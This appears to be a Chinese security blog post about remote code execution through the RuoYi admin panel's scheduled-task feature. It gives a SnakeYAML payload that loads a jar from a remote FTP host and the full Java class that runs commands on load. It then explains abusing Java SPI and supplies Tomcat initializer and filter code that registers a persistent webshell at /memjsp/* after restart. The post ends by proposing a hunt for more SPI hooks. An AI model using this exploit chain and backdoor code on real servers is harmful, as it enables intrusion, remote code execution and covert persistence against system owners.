缘起若依RCE
众所周知若伊后台使用的计划任务是可能RCE的
参考:https://www.cnblogs.com/Fluorescence-tjy/p/16045081.html
payload如下:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://ss.burpcollaborator.net/yaml-payload.jar"]
]]
]')
ymal-payload.jar的内容
参考:https://github.com/artsploit/yaml-payload.git
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
只需要自己搭建一个ftp服务,然后把yaml-payload.jar放上去就可以了。但是我测试总是没法成功,后来才知道我忽略了META-INFO文件夹,这个是java SPI服务的关键。
关于SPI服务参考:https://blog.csdn.net/chinabestchina/article/details/108371873
SPI服务机制
SPI服务其实是java的一种插件扩展机制,意思就是说按照这样的格式书写,通过服务发现机制会自动的初始化指定的类。
这里的ScriptEngineFactory接口是java实现脚本引擎扩展的接口,在JDK中,oracle自己实现了一个js脚本解析引擎,在jre/ext目录下的nashorn.jar,而这个脚本引擎就叫nashorn只是由于维护起来实在是麻烦,oracle最终停掉了这个项目。
其中的xcscript就是我自己实现的脚本引擎。
我们只需要把生成好的jar包放到classpath目录下面,ServiceLoader就会自动去加载里面对应的class,从而实现RCE代码执行。
然后我们回到漏洞本身。
new ScriptEngineManager(new URLClassLoader(new URL[]{new URL("ftp://xx.com/aaa.jar")}))
ScriptEngineManager会自动的去指定的classloader加载,因此造成了代码执行。
那么我们需要吧jar文件放到哪个目录执行呢?
第一个是java系统jre/ext目录
第二个是应用的特定目录,如tomcat的lib目录,jsp项目的WEB-INF/lib目录。
其他的利用思路
既然这是一个java提供的扩展机制,那么java自己和第三方应用实现扩展也会用到这样的机制,我第一个想到的是数据库驱动,查看了JDBC的源码,果然是使用了SPI。
我们自己实现一个
导出jar包为xdrive.jar分别放到jre/ext和lib,WEB-INF/lib下测试,在启动tomcat的时候成功触发代码
启动springboot打包的jar包,同样成功触发。
这样触发有两个限制条件
1在指定位置写jar文件,2重启应用(实战中第二个条件也很容易达成)。
当我们需要留内存后门的时候就比较有用了,由于内存后门重启后失效,这个可以和内存后门完美配合。
于是我在tomcat的代码里找了一个ServletContainerInitializer的spi,实现了tomcat的下的内存后门,重启后植入。
XcServletContainer.java
package vip.xcao.servlet;
import java.util.EnumSet;
import java.util.Set;
import javax.servlet.DispatcherType;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.HandlesTypes;
@HandlesTypes({XcFilter.class})
public class XcServletContainer implements javax.servlet.ServletContainerInitializer{
static {
System.out.println("XcServletContainer static");
}
public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
// TODO Auto-generated method stub
// 将webshell filter注册到上下文当中
FilterRegistration.Dynamic filter = servletContext.addFilter(XcFilter.class.getSimpleName(), XcFilter.class);
EnumSet<DispatcherType> dispatcherTypes = EnumSet.allOf(DispatcherType.class);
dispatcherTypes.add(DispatcherType.REQUEST);
dispatcherTypes.add(DispatcherType.FORWARD);
// 设置webshell filter的访问路径
filter.addMappingForUrlPatterns(dispatcherTypes, true, "/memjsp/*");
}
}
XcFilter.java
package vip.xcao.servlet;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class XcFilter implements Filter{
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
EvalJavaMem mem = new EvalJavaMem();
HttpServletRequest request = (HttpServletRequest)arg0;
HttpServletResponse response = (HttpServletResponse)arg1;
mem.eval(request, response, request.getSession());
}
}
tomcat重启后
还有什么研究思路
我们是不是可以把jre和其他应用,如tomcat,springboot的所有用了spi的jar包的列出来,一一实现一遍,很可能会有意外的收获。
不错啊